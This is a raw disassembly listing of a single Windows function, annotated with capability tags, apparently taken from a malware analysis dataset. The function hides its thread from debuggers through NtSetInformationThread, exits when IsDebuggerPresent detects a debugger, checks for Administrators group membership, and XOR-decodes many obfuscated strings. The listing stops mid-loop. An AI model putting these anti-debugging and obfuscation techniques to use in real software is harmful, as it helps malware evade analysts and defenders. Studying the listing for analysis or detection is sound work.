Function at 0x406de0
Capabilities:
Encode data using xor
Get token membership
Hide thread from debugger
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x410040]
xor eax, esp
mov dword [esp + 0x54], eax
push esi
push edi
call fcn.00405cf0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0x40d77c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.NtSetInformationThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0x11
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x406e61
call fcn.0040b090
call fcn.0040a3c0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.004068e0
lea eax, [esp + 0x38]
mov dword [esp + 0x40], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x68]
mov word [esp + 0x6c], 0x500
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x406e59
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 0
push eax
push dword [esp + 0x3c]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x406ebf
mov dword [esp + 0x3c], eax
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp + 0x3c], 0
je 0x406e59
cmp byte [0x40d95d], 0
movq xmm0, qword [0x40d954]
mov ax, word [0x40d95c]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x48], ax
je 0x406f29
xor edx, edx
mov dword [esp + 0x38], edx
nop dword [eax + eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xa
jl 0x406f00
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40da27], 0
mov eax, dword [0x40da20]
mov ecx, dword [str.R_:WAXFTYI]
mov esi, dword [0x410470]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm3, xmmword [0x40de10]
movaps xmm6, xmmword [0x40ddb0]
movaps xmm7, xmmword [0x40ddf0]
movaps xmm2, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40dd80]
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ecx
je 0x407084
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407049
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm4
pmulld xmm0, xmm6
psubd xmm2, xmm0
punpckldq xmm1, xmm4
andps xmm2, xmm5
movd xmm0, eax
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
xorps xmm2, xmm0
movaps xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
movd dword [esp + 0x40], xmm2
psrad xmm1, 5
movaps xmm2, xmm4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
cmp edx, 8
jae 0x407084
nop
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 8
jl 0x407050
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ax, word [0x40d864]
xor edx, edx
movq xmm0, qword [0x40d85c]
mov word [esp + 0x48], ax
mov al, byte [0x40d866]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x4070b5
lea ecx, [esp + 0x40]
call fcn.00405b30
movq xmm0, qword [0x40da14]
xor edx, edx
mov al, byte [0x40da1c]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x48], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 9
jl 0x407104
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ax, word [0x40dab0]
xor edx, edx
mov word [esp + 0x20], ax
mov al, byte [0x40dab2]
mov byte [esp + 0x22], al
mov dword [esp + 0x3c], edx
movups xmm0, xmmword [str._afs__O_XLj_to__E]
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x407276
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x407191
mov dword [esp + 0x3c], edx
cmp edx, 0x13
jge 0x4072b4
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x13
jl 0x407280
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40da47], 0
movups xmm0, xmmword [0x40da34]
mov eax, dword [0x40da44]
mov dword [esp + 0x20], eax
movups xmmword [esp + 0x10], xmm0
je 0x407444
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407405
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x407320
mov dword [esp + 0x3c], edx
cmp edx, 0x14
jge 0x407444
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x14
jl 0x407410
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40d8c1], 0
movq xmm0, qword [str.xf_T]
mov ax, word [0x40d8c0]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x48], ax
je 0x40749e
xor edx, edx
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xa
jl 0x407475
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d8a7], 0
movq xmm0, qword [0x40d89c]
mov eax, dword [str.DX_XYOsZ_t_t]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x407604
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x4075d0
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d89c]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x4075d0
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d9fb], 0
movq xmm0, qword [0x40d9f0]
mov eax, dword [str.HJ__QApTM_IoXLI__m_G]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x407764
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407730
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d9f0]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x407730
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d92b], 0
movq xmm0, qword [str.CFZUZWW]
mov eax, dword [str.DX_D_GSDPXHP]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x4078c4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407890
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.CFZUZWW]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x407890
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d859], 0
mov eax, dword [str.vj___H]
movups xmm0, xmmword [str._AFvVXVBFXLl4_]
mov dword [esp + 0x20], eax
mov ax, word [0x40d858]
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x24], ax
je 0x407a64
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407a25
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x407940
mov dword [esp + 0x3c], edx
cmp edx, 0x16
jge 0x407a64
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x16
jl 0x407a30
lea ecx, [esp + 0x10]
call fcn.00405b30
mov ax, word [0x40d9d4]
xor edx, edx
movq xmm0, qword [str._QA_XV]
mov word [esp + 0x48], ax
mov al, byte [0x40d9d6]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x407a95
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40da7d], 0
movq xmm0, qword [str._YVWG]
mov ax, word [0x40da7c]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x48], ax
je 0x407b19
xor edx, edx
mov dword [esp + 0x38], edx
nop
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xa
jl 0x407af0
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d939], 0
mov eax, dword [0x40d934]
movq xmm0, qword [0x40d92c]
mov dword [esp + 0x48], eax
mov ax, word [0x40d938]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x4c], ax
je 0x407c84
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407c50
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d92c]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xe
jl 0x407c50
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ax, word [0x40d950]
xor edx, edx
movq xmm0, qword [0x40d948]
mov word [esp + 0x48], ax
mov al, byte [0x40d952]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x407cb5
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d91d], 0
movups xmm0, xmmword [0x40d90c]
mov ax, word [0x40d91c]
mov word [esp + 0x20], ax
movups xmmword [esp + 0x10], xmm0
je 0x407e74
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x407e35
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x407d50
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jge 0x407e74
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jl 0x407e40
lea ecx, [esp + 0x10]
call fcn.00405b30
mov eax, dword [str.upk__I]
xor edx, edx
mov dword [esp + 0x20], eax
mov ax, word [0x40dad4]
mov word [esp + 0x24], ax
mov al, byte [0x40dad6]
mov byte [esp + 0x26], al
mov dword [esp + 0x3c], edx
movups xmm0, xmmword [str.PPWC_W_RRX]
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x407fc6
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
